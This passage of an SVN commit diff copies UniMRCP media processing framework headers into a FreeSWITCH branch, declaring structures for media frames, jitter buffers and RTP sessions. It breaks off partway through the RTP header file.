+++ freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_frame.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,79 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __MPF_FRAME_H__
+#define __MPF_FRAME_H__
+
+/**
+ * @file mpf_frame.h
+ * @brief MPF Audio/Video/Named-event Frame
+ */ 
+
+#include "mpf_codec_descriptor.h"
+
+APT_BEGIN_EXTERN_C
+
+/** Media frame types */
+typedef enum {
+	MEDIA_FRAME_TYPE_NONE  = 0x0, /**< none */
+	MEDIA_FRAME_TYPE_AUDIO = 0x1, /**< audio frame */
+	MEDIA_FRAME_TYPE_VIDEO = 0x2, /**< video frame */
+	MEDIA_FRAME_TYPE_EVENT = 0x4  /**< named event frame (RFC2833) */
+} mpf_frame_type_e;
+
+/** Named event declaration */
+typedef struct mpf_named_event_frame_t mpf_named_event_frame_t;
+/** Media frame declaration */
+typedef struct mpf_frame_t mpf_frame_t;
+
+
+/** Named event (RFC2833, out-of-band DTMF) */
+struct mpf_named_event_frame_t {
+	/** event (DTMF, tone) identifier */
+	apr_uint32_t event_id: 8;
+#if (APR_IS_BIGENDIAN == 1)
+	/** end of event */
+	apr_uint32_t edge:     1;
+	/** reserved */
+	apr_uint32_t reserved: 1;
+	/** tone volume */
+	apr_uint32_t volume:   6;
+#else
+	/** tone volume */
+	apr_uint32_t volume:   6;
+	/** reserved */
+	apr_uint32_t reserved: 1;
+	/** end of event */
+	apr_uint32_t edge:     1;
+#endif
+	/** event duration */
+	apr_uint32_t duration: 16;
+};
+
+/** Media frame */
+struct mpf_frame_t {
+	/** frame type (audio/video/named-event) mpf_frame_type_e */
+	int                     type;
+	/** codec frame */
+	mpf_codec_frame_t       codec_frame;
+	/** named-event frame */
+	mpf_named_event_frame_t event_frame;
+};
+
+
+APT_END_EXTERN_C
+
+#endif /*__MPF_FRAME_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_frame_buffer.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_frame_buffer.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mpf/include/mpf_frame_buffer.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_frame_buffer.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_frame_buffer.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,50 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __MPF_FRAME_BUFFER_H__
+#define __MPF_FRAME_BUFFER_H__
+
+/**
+ * @file mpf_frame_buffer.h
+ * @brief Buffer of Media Frames
+ */ 
+
+#include "mpf_frame.h"
+
+APT_BEGIN_EXTERN_C
+
+/** Opaque frame buffer declaration */
+typedef struct mpf_frame_buffer_t mpf_frame_buffer_t;
+
+
+/** Create frame buffer */
+mpf_frame_buffer_t* mpf_frame_buffer_create(apr_size_t frame_size, apr_size_t frame_count, apr_pool_t *pool);
+
+/** Destroy frame buffer */
+void mpf_frame_buffer_destroy(mpf_frame_buffer_t *buffer);
+
+/** Restart frame buffer */
+apt_bool_t mpf_frame_buffer_restart(mpf_frame_buffer_t *buffer);
+
+/** Write frame to buffer */
+apt_bool_t mpf_frame_buffer_write(mpf_frame_buffer_t *buffer, const mpf_frame_t *frame);
+
+/** Read frame from buffer */
+apt_bool_t mpf_frame_buffer_read(mpf_frame_buffer_t *buffer, mpf_frame_t *frame);
+
+APT_END_EXTERN_C
+
+#endif /*__MPF_FRAME_BUFFER_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_jitter_buffer.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_jitter_buffer.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mpf/include/mpf_jitter_buffer.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_jitter_buffer.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_jitter_buffer.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,63 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __MPF_JITTER_BUFFER_H__
+#define __MPF_JITTER_BUFFER_H__
+
+/**
+ * @file mpf_jitter_buffer.h
+ * @brief Jitter Buffer
+ */ 
+
+#include "mpf_frame.h"
+#include "mpf_codec.h"
+#include "mpf_rtp_descriptor.h"
+
+APT_BEGIN_EXTERN_C
+
+/** Jitter buffer write result */
+typedef enum {
+	JB_OK,                   /**< successful write */
+	JB_DISCARD_NOT_ALLIGNED, /**< discarded write (frame isn't alligned to CODEC_FRAME_TIME_BASE) */
+	JB_DISCARD_TOO_LATE,     /**< discarded write (frame is arrived too late) */
+	JB_DISCARD_TOO_EARLY,    /**< discarded write (frame is arrived too early, buffer is full) */
+} jb_result_t;
+
+/** Opaque jitter buffer declaration */
+typedef struct mpf_jitter_buffer_t mpf_jitter_buffer_t;
+
+
+/** Create jitter buffer */
+mpf_jitter_buffer_t* mpf_jitter_buffer_create(mpf_jb_config_t *jb_config, mpf_codec_t *codec, apr_pool_t *pool);
+
+/** Destroy jitter buffer */
+void mpf_jitter_buffer_destroy(mpf_jitter_buffer_t *jb);
+
+/** Restart jitter buffer */
+apt_bool_t mpf_jitter_buffer_restart(mpf_jitter_buffer_t *jb);
+
+/** Write audio data to jitter buffer */
+jb_result_t mpf_jitter_buffer_write(mpf_jitter_buffer_t *jb, mpf_codec_t *codec, void *buffer, apr_size_t size, apr_uint32_t ts);
+
+/** Write named event to jitter buffer */
+jb_result_t mpf_jitter_buffer_write_named_event(mpf_jitter_buffer_t *jb, mpf_named_event_frame_t *named_event, apr_uint32_t ts);
+
+/** Read media frame from jitter buffer */
+apt_bool_t mpf_jitter_buffer_read(mpf_jitter_buffer_t *jb, mpf_frame_t *media_frame);
+
+APT_END_EXTERN_C
+
+#endif /*__MPF_JITTER_BUFFER_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_media_descriptor.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_media_descriptor.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mpf/include/mpf_media_descriptor.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_media_descriptor.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_media_descriptor.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,66 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __MPF_MEDIA_DESCRIPTOR_H__
+#define __MPF_MEDIA_DESCRIPTOR_H__
+
+/**
+ * @file mpf_media_descriptor.h
+ * @brief Media Descriptor Base
+ */ 
+
+#include <apr_network_io.h>
+#include "apt_string.h"
+
+APT_BEGIN_EXTERN_C
+
+/** MPF media state */
+typedef enum {
+	MPF_MEDIA_DISABLED, /**< disabled media */
+	MPF_MEDIA_ENABLED   /**< enabled media */
+} mpf_media_state_e;
+
+/** MPF media descriptor declaration */
+typedef struct mpf_media_descriptor_t mpf_media_descriptor_t;
+
+/** MPF media descriptor */
+struct mpf_media_descriptor_t {
+	/** Media state (disabled/enabled)*/
+	mpf_media_state_e state;
+
+	/** Ip address */
+	apt_str_t          ip;
+	/** External (NAT) Ip address */
+	apt_str_t          ext_ip;
+	/** Port */
+	apr_port_t         port;
+	/** Identifier (0,1,...) */
+	apr_size_t         id;
+};
+
+/** Initialize MPF media descriptor */
+static APR_INLINE void mpf_media_descriptor_init(mpf_media_descriptor_t *descriptor)
+{
+	descriptor->state = MPF_MEDIA_DISABLED;
+	apt_string_reset(&descriptor->ip);
+	apt_string_reset(&descriptor->ext_ip);
+	descriptor->port = 0;
+	descriptor->id = 0;
+}
+
+APT_END_EXTERN_C
+
+#endif /*__MPF_MEDIA_DESCRIPTOR_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_message.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_message.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mpf/include/mpf_message.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_message.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_message.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,73 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __MPF_MESSAGE_H__
+#define __MPF_MESSAGE_H__
+
+/**
+ * @file mpf_message.h
+ * @brief Media Processing Framework Message Definitions
+ */ 
+
+#include "mpf_types.h"
+
+APT_BEGIN_EXTERN_C
+
+/** Enumeration of MPF message types */
+typedef enum {
+	MPF_MESSAGE_TYPE_REQUEST,  /**< request message */
+	MPF_MESSAGE_TYPE_RESPONSE, /**< response message */
+	MPF_MESSAGE_TYPE_EVENT     /**< event message */
+} mpf_message_type_e;
+
+/** Enumeration of MPF status codes */
+typedef enum {
+	MPF_STATUS_CODE_SUCCESS,  /**< indicates success */
+	MPF_STATUS_CODE_FAILURE   /**< indicates failure */
+} mpf_status_code_e;
+
+
+/** Enumeration of commands */
+typedef enum {
+	MPF_COMMAND_ADD,     /**< add termination to context */
+	MPF_COMMAND_MODIFY,  /**< modify termination properties */
+	MPF_COMMAND_SUBTRACT,/**< subtract termination from context */ 
+	MPF_COMMAND_MOVE     /**< move termination to another context */
+} mpf_command_type_e;
+
+/** MPF message declaration */
+typedef struct mpf_message_t mpf_message_t;
+
+/** MPF message definition */
+struct mpf_message_t {
+	/** Message type (request/response/event) */
+	mpf_message_type_e message_type;
+	/** Command identifier (add, modify, subtract, ...) */
+	mpf_command_type_e command_id;
+	/** Status code used in responses */
+	mpf_status_code_e  status_code;
+
+	/** Context */
+	mpf_context_t     *context;
+	/** Termination */
+	mpf_termination_t *termination;
+	/** Termination type dependent descriptor */
+	void              *descriptor;
+};
+
+APT_END_EXTERN_C
+
+#endif /*__MPF_MESSAGE_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_object.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_object.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mpf/include/mpf_object.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_object.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_object.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,52 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __MPF_OBJECT_H__
+#define __MPF_OBJECT_H__
+
+/**
+ * @file mpf_object.h
+ * @brief Media Processing Object Base (bridge, multiplexor, mixer, ...)
+ */ 
+
+#include "mpf_types.h"
+#include "mpf_frame.h"
+
+APT_BEGIN_EXTERN_C
+
+/** MPF object declaration */
+typedef struct mpf_object_t mpf_object_t;
+
+/** Base for media processing objects */
+struct mpf_object_t {
+	/** Audio stream source */
+	mpf_audio_stream_t *source;
+	/** Audio stream sink */
+	mpf_audio_stream_t *sink;
+
+	/** Media frame used to read data from source and write it to sink */
+	mpf_frame_t         frame;
+
+	/** Virtual process */
+	apt_bool_t (*process)(mpf_object_t *object);
+	/** Virtual destroy */
+	apt_bool_t (*destroy)(mpf_object_t *object);
+};
+
+
+APT_END_EXTERN_C
+
+#endif /*__MPF_OBJECT_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_rtp_attribs.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_rtp_attribs.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mpf/include/mpf_rtp_attribs.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_rtp_attribs.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_rtp_attribs.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,55 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __MPF_RTP_ATTRIBS_H__
+#define __MPF_RTP_ATTRIBS_H__
+
+/**
+ * @file mpf_rtp_attribs.h
+ * @brief RTP Attributes (SDP)
+ */ 
+
+#include "mpf_media_descriptor.h"
+#include "mpf_stream_mode.h"
+
+APT_BEGIN_EXTERN_C
+
+/** RTP attributes */
+typedef enum {
+	RTP_ATTRIB_RTPMAP,
+	RTP_ATTRIB_SENDONLY,
+	RTP_ATTRIB_RECVONLY,
+	RTP_ATTRIB_SENDRECV,
+	RTP_ATTRIB_MID,
+	RTP_ATTRIB_PTIME,
+
+	RTP_ATTRIB_COUNT,
+	RTP_ATTRIB_UNKNOWN = RTP_ATTRIB_COUNT
+} mpf_rtp_attrib_e;
+
+
+/** Get audio media attribute name by attribute identifier */
+MPF_DECLARE(const apt_str_t*) mpf_rtp_attrib_str_get(mpf_rtp_attrib_e attrib_id);
+
+/** Find audio media attribute identifier by attribute name */
+MPF_DECLARE(mpf_rtp_attrib_e) mpf_rtp_attrib_id_find(const apt_str_t *attrib);
+
+/** Get string by stream mode (send/receive) */
+MPF_DECLARE(const apt_str_t*) mpf_stream_mode_str_get(mpf_stream_mode_e direction);
+
+APT_END_EXTERN_C
+
+#endif /*__MPF_RTP_ATTRIBS_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_rtp_defs.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_rtp_defs.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mpf/include/mpf_rtp_defs.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_rtp_defs.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_rtp_defs.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,184 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __MPF_RTP_DEFS_H__
+#define __MPF_RTP_DEFS_H__
+
+/**
+ * @file mpf_rtp_defs.h
+ * @brief Internal RTP Definitions
+ */ 
+
+#include "mpf_rtp_stat.h"
+#include "mpf_jitter_buffer.h"
+
+APT_BEGIN_EXTERN_C
+
+/** Used to calculate actual number of received packets (32bit) in
+ * case seq number (16bit) wrapped around */
+#define RTP_SEQ_MOD (1 << 16)
+/** Number of max dropout packets (seq numbers) is used to trigger drift 
+ * in seq number or misorder packets */
+#define MAX_DROPOUT 3000
+/** Number of max misorder packets (seq numbers) to differentiate 
+ * seq drift from misorder packets */
+#define MAX_MISORDER 100
+/** Restart receiver if threshold is fired */
+#define DISCARDED_TO_RECEIVED_RATIO_THRESHOLD 30 /* 30% */
+/** Deviation threshold is used to trigger drift in timestamps */
+#define DEVIATION_THRESHOLD 4000
+
+/** RTP receive history declaration */
+typedef struct rtp_rx_history_t rtp_rx_history_t;
+/** RTP receive periodic history declaration */
+typedef struct rtp_rx_periodic_history_t rtp_rx_periodic_history_t;
+/** RTP receiver declaration */
+typedef struct rtp_receiver_t rtp_receiver_t;
+/** RTP transmitter declaration */
+typedef struct rtp_transmitter_t rtp_transmitter_t;
+
+/** History of RTP receive */
+struct rtp_rx_history_t {
+	/** Updated on every seq num wrap around*/
+	apr_uint32_t           seq_cycles;
+
+	/** First seq num received */
+	apr_uint16_t           seq_num_base;
+	/** Max seq num received */
+	apr_uint16_t           seq_num_max;
+
+	/** Last timestamp received */
+	apr_uint32_t           ts_last;
+	/** Local time measured on last packet received */
+	apr_time_t             time_last;
+
+	/** New ssrc, which is in probation */
+	apr_uint32_t           ssrc_new;
+	/** Period of ssrc probation */
+	apr_byte_t             ssrc_probation;
+};
+
+/** Periodic history of RTP receive (initialized after every N packets) */
+struct rtp_rx_periodic_history_t {
+	/** Number of packets received */
+	apr_uint32_t           received_prior;
+	/** Number of packets discarded */
+	apr_uint32_t           discarded_prior;
+
+	/** Min jitter */
+	apr_uint32_t           jitter_min;
+	/** Max jitter */
+	apr_uint32_t           jitter_max;
+};
+
+/** Reset RTP receive history */
+static APR_INLINE void mpf_rtp_rx_history_reset(rtp_rx_history_t *rx_history)
+{
+	memset(rx_history,0,sizeof(rtp_rx_history_t));
+}
+
+/** Reset RTP receive periodic history */
+static APR_INLINE void mpf_rtp_rx_periodic_history_reset(rtp_rx_periodic_history_t *rx_periodic_history)
+{
+	memset(rx_periodic_history,0,sizeof(rtp_rx_periodic_history_t));
+}
+
+/** RTP receiver */
+struct rtp_receiver_t {
+	/** Payload type of named-event packets (RFC2833) */
+	apr_byte_t                event_pt;
+
+	/** Jitter buffer */
+	mpf_jitter_buffer_t      *jb;
+
+	/** RTP receive statistics to report */
+	rtp_rx_stat_t             stat;
+	/** RTP history */
+	rtp_rx_history_t          history;
+	/** RTP periodic history */
+	rtp_rx_periodic_history_t periodic_history;
+};
+
+
+/** RTP transmitter */
+struct rtp_transmitter_t {
+	/** RTP stream ssrc */
+	apr_uint32_t    ssrc;
+	/** Payload type of named-event packets (RFC2833) */
+	apr_byte_t      event_pt;
+	/** Packetization time in msec */
+	apr_uint16_t    ptime;
+
+	/** Number of frames in a packet */
+	apr_uint16_t    packet_frames;
+	/** Current number of frames */
+	apr_uint16_t    current_frames;
+	/** Samples in frames in timestamp units */
+	apr_uint32_t    samples_per_frame;
+
+	/** Indicate silence period among the talkspurts */
+	apr_byte_t      inactivity;
+	/** Last seq number sent */
+	apr_uint16_t    last_seq_num;
+	/** Current timestamp (samples processed) */
+	apr_uint32_t    timestamp;
+
+	/** RTP packet payload */
+	char           *packet_data;
+	/** RTP packet payload size */
+	apr_size_t      packet_size;
+
+	/** RTP transmit statistics to report */
+	rtp_tx_stat_t   stat;
+};
+
+
+/** Initialize RTP receiver */
+static APR_INLINE void rtp_receiver_init(rtp_receiver_t *receiver)
+{
+	receiver->event_pt = 0;
+
+	receiver->jb = NULL;
+
+	mpf_rtp_rx_stat_reset(&receiver->stat);
+	mpf_rtp_rx_history_reset(&receiver->history);
+	mpf_rtp_rx_periodic_history_reset(&receiver->periodic_history);
+}
+
+/** Initialize RTP transmitter */
+static APR_INLINE void rtp_transmitter_init(rtp_transmitter_t *transmitter)
+{
+	transmitter->ssrc = 0;
+	transmitter->event_pt = 0;
+	transmitter->ptime = 0;
+
+	transmitter->packet_frames = 0;
+	transmitter->current_frames = 0;
+	transmitter->samples_per_frame = 0;
+
+	transmitter->inactivity = 0;
+	transmitter->last_seq_num = 0;
+	transmitter->timestamp = 0;
+
+	transmitter->packet_data = NULL;
+	transmitter->packet_size = 0;
+
+	mpf_rtp_tx_stat_reset(&transmitter->stat);
+}
+
+APT_END_EXTERN_C
+
+#endif /*__MPF_RTP_DEFS_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_rtp_descriptor.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_rtp_descriptor.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mpf/include/mpf_rtp_descriptor.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_rtp_descriptor.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_rtp_descriptor.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,158 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __MPF_RTP_DESCRIPTOR_H__
+#define __MPF_RTP_DESCRIPTOR_H__
+
+/**
+ * @file mpf_rtp_descriptor.h
+ * @brief MPF RTP Stream Descriptor
+ */ 
+
+#include "mpf_stream_mode.h"
+#include "mpf_media_descriptor.h"
+#include "mpf_codec_descriptor.h"
+
+APT_BEGIN_EXTERN_C
+
+/** RTP media descriptor declaration */
+typedef struct mpf_rtp_media_descriptor_t mpf_rtp_media_descriptor_t;
+/** RTP stream descriptor declaration */
+typedef struct mpf_rtp_stream_descriptor_t mpf_rtp_stream_descriptor_t;
+/** RTP termination descriptor declaration */
+typedef struct mpf_rtp_termination_descriptor_t mpf_rtp_termination_descriptor_t;
+/** RTP configuration declaration */
+typedef struct mpf_rtp_config_t mpf_rtp_config_t;
+/** Jitter buffer configuration declaration */
+typedef struct mpf_jb_config_t mpf_jb_config_t;
+
+
+/** RTP media (local/remote) descriptor */
+struct mpf_rtp_media_descriptor_t {
+	/** Media descriptor base */
+	mpf_media_descriptor_t base;
+	/** Stream mode (send/receive) */
+	mpf_stream_mode_e      mode;
+	/** Packetization time */
+	apr_uint16_t           ptime;
+	/** Codec list */
+	mpf_codec_list_t       codec_list;
+	/** Media identifier */
+	apr_size_t             mid;
+};
+
+/** RTP stream descriptor */
+struct mpf_rtp_stream_descriptor_t {
+	/** Local media descriptor */
+	mpf_rtp_media_descriptor_t *local;
+	/** Remote media descriptor */
+	mpf_rtp_media_descriptor_t *remote;
+};
+
+/** RTP termination descriptor */
+struct mpf_rtp_termination_descriptor_t {
+	/** Audio stream descriptor */
+	mpf_rtp_stream_descriptor_t audio;
+	/** Video stream descriptor */
+	mpf_rtp_stream_descriptor_t video;
+};
+
+/** Jitter buffer configuration */
+struct mpf_jb_config_t {
+	/** Min playout delay in msec (used in case of adaptive jitter buffer) */
+	apr_size_t min_playout_delay;
+	/** Initial playout delay in msec */
+	apr_size_t initial_playout_delay;
+	/** Max playout delay in msec (used in case of adaptive jitter buffer) */
+	apr_size_t max_playout_delay;
+	/** Static - 0, adaptive - 1 jitter buffer */
+	apr_byte_t adaptive;
+};
+
+/** RTP config */
+struct mpf_rtp_config_t {
+	/** Local IP address to bind to */
+	apt_str_t ip;
+	/** External (NAT) IP address */
+	apt_str_t ext_ip;
+	/** Min RTP port */
+	apr_port_t rtp_port_min;
+	/** Max RTP port */
+	apr_port_t rtp_port_max;
+	/** Current RTP port */
+	apr_port_t rtp_port_cur;
+	/** Packetization time */
+	apr_uint16_t ptime;
+	/** Codec list */
+	mpf_codec_list_t codec_list;
+	/** Preference in offer/anser: 1 - own(local) preference, 0 - remote preference */
+	apt_bool_t own_preferrence;
+	/** Jitter buffer config */
+	mpf_jb_config_t jb_config;
+};
+
+/** Initialize media descriptor */
+static APR_INLINE void mpf_rtp_media_descriptor_init(mpf_rtp_media_descriptor_t *media)
+{
+	mpf_media_descriptor_init(&media->base);
+	media->mode = STREAM_MODE_NONE;
+	media->ptime = 0;
+	mpf_codec_list_reset(&media->codec_list);
+	media->mid = 0;
+}
+
+/** Initialize stream descriptor */
+static APR_INLINE void mpf_rtp_stream_descriptor_init(mpf_rtp_stream_descriptor_t *stream)
+{
+	stream->local = NULL;
+	stream->remote = NULL;
+}
+
+/** Initialize RTP termination descriptor */
+static APR_INLINE void mpf_rtp_termination_descriptor_init(mpf_rtp_termination_descriptor_t *rtp_descriptor)
+{
+	mpf_rtp_stream_descriptor_init(&rtp_descriptor->audio);
+	mpf_rtp_stream_descriptor_init(&rtp_descriptor->video);
+}
+
+/** Initialize JB config */
+static APR_INLINE void mpf_jb_config_init(mpf_jb_config_t *jb_config)
+{
+	jb_config->adaptive = 0;
+	jb_config->initial_playout_delay = 0;
+	jb_config->min_playout_delay = 0;
+	jb_config->max_playout_delay = 0;
+}
+
+/** Create/allocate RTP config */
+static APR_INLINE mpf_rtp_config_t* mpf_rtp_config_create(apr_pool_t *pool)
+{
+	mpf_rtp_config_t *rtp_config = (mpf_rtp_config_t*)apr_palloc(pool,sizeof(mpf_rtp_config_t));
+	apt_string_reset(&rtp_config->ip);
+	apt_string_reset(&rtp_config->ext_ip);
+	rtp_config->rtp_port_cur = 0;
+	rtp_config->rtp_port_min = 0;
+	rtp_config->rtp_port_max = 0;
+	rtp_config->ptime = 0;
+	mpf_codec_list_init(&rtp_config->codec_list,0,pool);
+	rtp_config->own_preferrence = FALSE;
+	mpf_jb_config_init(&rtp_config->jb_config);
+	return rtp_config;
+}
+
+APT_END_EXTERN_C
+
+#endif /*__MPF_RTP_DESCRIPTOR_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_rtp_header.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_rtp_header.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mpf/include/mpf_rtp_header.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_rtp_header.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_rtp_header.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,87 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __MPF_RTP_HEADER_H__
+#define __MPF_RTP_HEADER_H__
+
+/**
+ * @file mpf_rtp_header.h
+ * @brief RTP Header Definition
+ */ 
+
+#include "mpf.h"
+
+APT_BEGIN_EXTERN_C
+
+/** Protocol version. */
+#define RTP_VERSION 2
+
+/** RTP header declaration */
+typedef struct rtp_header_t rtp_header_t;
+/** RTP extension header declaration */
